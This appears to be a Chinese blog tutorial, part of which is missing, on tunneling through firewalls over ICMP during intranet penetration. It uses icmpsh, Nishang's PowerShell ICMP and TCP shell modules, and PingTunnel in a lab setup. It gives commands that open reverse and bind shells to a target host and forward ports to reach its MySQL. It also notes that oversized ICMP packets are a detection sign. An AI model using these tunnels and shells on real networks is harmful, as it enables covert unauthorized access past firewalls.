内网渗透-ICMP隧道

一、icmpsh工具

ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。

在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问

常见的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。

这次使用的是icmpsh工具,下载地址:https://github.com/inquisb/icmpsh

我们基于windows2016和Kali进行通信

因为icmpsh工具要替代系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行不会稳定,在kali上修改以下参数:

# sysctl -w net.ipv4.icmp_echo_ignore_all=1  #设置为0可以还原

我们可以先来看看这个内核参数,使用如下命令:

cat /proc/sys/net/ipv4/icmp_echo_ignore_all

然后修改内核参数,修改成功

首先在Kali上将服务器端启动起来

python2 ./icmpsh_m.py 192.168.3.38 192.168.3.44
前面的IP是本机IP,后面的IP是目标机器的IP

然后再windows2016上启动其客户端

kali这边就获取到了windows2016的控制台

执行ipconfig发现没有问题,就是感觉慢了一点

我们使用wireshark去监听一下

使用命令whoami,然后使用wireshark进行监听

并且通过分析数据包发现,当响应的内容太多时,icmpsh会将内容分成多个数据包进行发送

如果windows反弹回来的命令行有乱码,则直接执行:chcp 65001的命令即可修正

二、PowerShell ICMP客户端

icmpsh.exe只能运行于Windows环境,而如果使用PowerShell ICMP客户端,则可以直接运行于任何有PowerShell的环境中

1、在Kali上正常运行icmpsh

# python2 ./icmpsh_m.py 192.168.3.38 192.168.3.44

2、在Windows环境运行NiShang中的icmp模块

进入到nishang/Shells目录 

我们直接进入到PowerShell命令行里去运行

我们在当前环境中导入了这个模块

Import-Module .\Invoke-PowerShellIcmp.psl

然后我们就可以使用这个模块了

Invoke-PowerShellcmp 192.168.18.29
后面的IP地址是目标主机的IP地址

此时,在Kali中获取到了Windows2016的反弹Shell,反弹到了shell命令行了

然后就可以执行命令了

当然我们可以进行监听一下

这个是请求过去的

这是给我们返回来的 

3、顺带了解一下NiShang框架中基于TCP的正向连接Shell

在Windows2016上执行:

Import-Moudle .\Invoke-PowerShellTcp.psl
Invoke-PowerShellTcp -Bind -Port 6666

此时进入监听状态,然后在Kali上运行以下命令正向连接:

4、使用TCP/UDP协议的反弹Shell

三、PingTunnel

1、如果需要安装在Centos环境中,安装步骤如下:

 启动ptunnel

 

这是对应的ICMP数据包

 ICMP的数据包突然变大,那它必然是一个问题,不管是什么目的,肯定是是一个问题,因为一个正常的ICMP数据包不可能会这么大

 

我们刚刚代理的是windows7的80端口 

现在我们要进入windows7的mysql该怎么办

我们把端口换为3306

毫无疑问,我们的浏览器无法访问到其80端口,下图存在缓存,因为标题那儿一直在转圈,所以无法访问

 127.0.0.1:8899

访问到的是mysql的信息

直接进入到目标主机的mysql环境

四、使用Go语言版本的pingtunnel

在Centos跳板机中运行服务器端

发现没有报错,那我们就可以在浏览器中配置代理了

然后我们再去访问一下,没有问题,访问成功

五、icmptunnel

对于内网,面试官最爱问的问题是:当某台主机不出网的时候,你会怎么办

其实我们实验中的windows7就不出网,它不能上外网,外网也不能访问它,因为我们ping 百度无法ping通,这就叫做不出网

不出网能不能使用端口映射

端口映射是要跟公网服务器打交道,不出网如何和公网打交道,所以说不出网不能使用端口映射

我们只能用内网路由和内网代理,让跳板机做端口转发,只有这三条路可选

那我们通过ICMP怎么办

然后就用PingTunnel这种方式来做端口转发,要和跳板机联通

接着可能又会问为难人的问题,跳板机也访问不到我们的windows7该怎么办

也许其他电脑能和我们的windows7联通

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值